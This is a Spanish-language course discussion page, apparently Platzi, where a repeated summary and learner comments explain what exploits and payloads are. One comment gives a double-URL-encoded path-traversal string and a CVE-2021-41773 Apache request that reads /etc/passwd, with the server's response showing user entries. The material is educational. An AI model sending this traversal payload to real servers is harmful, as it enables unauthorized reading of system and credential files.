Todos los exploit necesitan un payload, el exploit ejecuta la vulnerabilidad y el payload hace la acción en el sistema.
Veamos la definición de cada uno.
Qué es exploit
Hace referencia a los pasos a seguir o el método que se refiere para explotar una vulnerabilidad. También se hace referencia al scripts, código o programa que explota la vulnerabilidad de manera automática.
Que son payloads
Se encarga de ejecutar una acción dentro del sistema explotado. Puede ser el comando para ejecutar una acción donde puede establecer una conexión entre el atacante y el sistema infectado y poder controlarlo.
Contribución creada con los aportes de: Angie Espinoza (Platzi Contributor) y GTBche
Todos los exploit necesitan un payload, el exploit ejecuta la vulnerabilidad y el payload hace la acción en el sistema.
Veamos la definición de cada uno.
Hace referencia a los pasos a seguir o el método que se refiere para explotar una vulnerabilidad. También se hace referencia al scripts, código o programa que explota la vulnerabilidad de manera automática.
Se encarga de ejecutar una acción dentro del sistema explotado. Puede ser el comando para ejecutar una acción donde puede establecer una conexión entre el atacante y el sistema infectado y poder controlarlo.
Contribución creada con los aportes de: Angie Espinoza (Platzi Contributor) y GTBche
Qué son los exploits y los payloads? Exploit:
Hace referencia a los pasos a seguir o el método que se refiere para explotar una vulnerabilidad. También se hace referencia al scripts, código o programa que explota la vulnerabilidad de manera automática.
Payload:
se encarga de ejecutar una acción dentro del sistema explotado. Puede ser el comando para ejecutar una acción donde puede establecer una conexión entre el atacante y el sistema infectado y poder controlarlo.
El exploit es el caballo de troya y el payloads es la sorpresita que lleva dentro jajajaja
.%%25%33%32%25%36%35/ decodificado da: .%%32%65/
.%%32%65/ decodificado da: .%2e/
.%2e/ decodificado da: ../ (subir nivel)
../ :)
Vulnerabilidad CVE-2021-41773
++El objetivo es la carpeta etc y el archivo password.++
El exploit es: /cgi-bin/ /.%2e/%2e%2e/%2e%2e/%2e%2e El payload es: /etc/passwd
El resultado en el sistema Linux: todos los usuarios
HTTP/1.1 200 OK DATE: Tue, 05 Oct 2021 14:51:37 GMT Server: Apache/2.4.49 (Unix) OpenSSL/1.0.2k-fips Last-Modified: Fri, 18 Jun 2021 09:31:30 GMT ETag: “820-5c506fd229535” Accept-Ranges: bytes Content-Length: 2080 Vary: User-Agent Connection: close root❌0:0:root:/root:/bin/bash daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin bin❌2:2:bin:/bin:/usr/sbin/nologin sys❌3:3:sys:/dev:/usr/sbin/nologin sync❌4:65534:sync:/bin:/bin/sync games❌5:60:games:/usr/games:/usr/sbin/nologin man❌6:12👨/var/cache/man:/usr/sbin/nologin lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail❌8:8:mail:/var/mail:/usr/sbin/nologin news❌9:9:news:/var/spool/news:/usr/sbin/nologin uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy❌13:13:proxy:/bin:/usr/sbin/nologin www-data❌33:33:www-data:/var/www:/usr/sbin/nologin backup❌34:34:backup:/var/backups:/usr/sbin/nologin list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats❌41:41:Gnats Bug-Reporting System
con ese trucazo de los ../ encodeados ya tengo arto por probar jeje
Para que no les pase lo mismo que a mi: Asegúrense de dar clic en "Decode" en la parte superior de la página. Por default está en "Encode" y obvio no arroja los resultados esperados.
Rooms de tryhackme para llevar a cabo los exploit y payloads
Exploit: Es un programa o script que se encarga de axplotar una vulnerabilidad en un sistema Payload: Es la carga útil que lleva ese exploit, se encarga de ejecutar comandos que hacen una acción deseada, por ejemplo establecer una conexión entre la máquina objetivo y el atacante.
2:18 En esta parte el profesor quizo decir "El Payload" no el "Exploit", aunque luego lo clarifica.
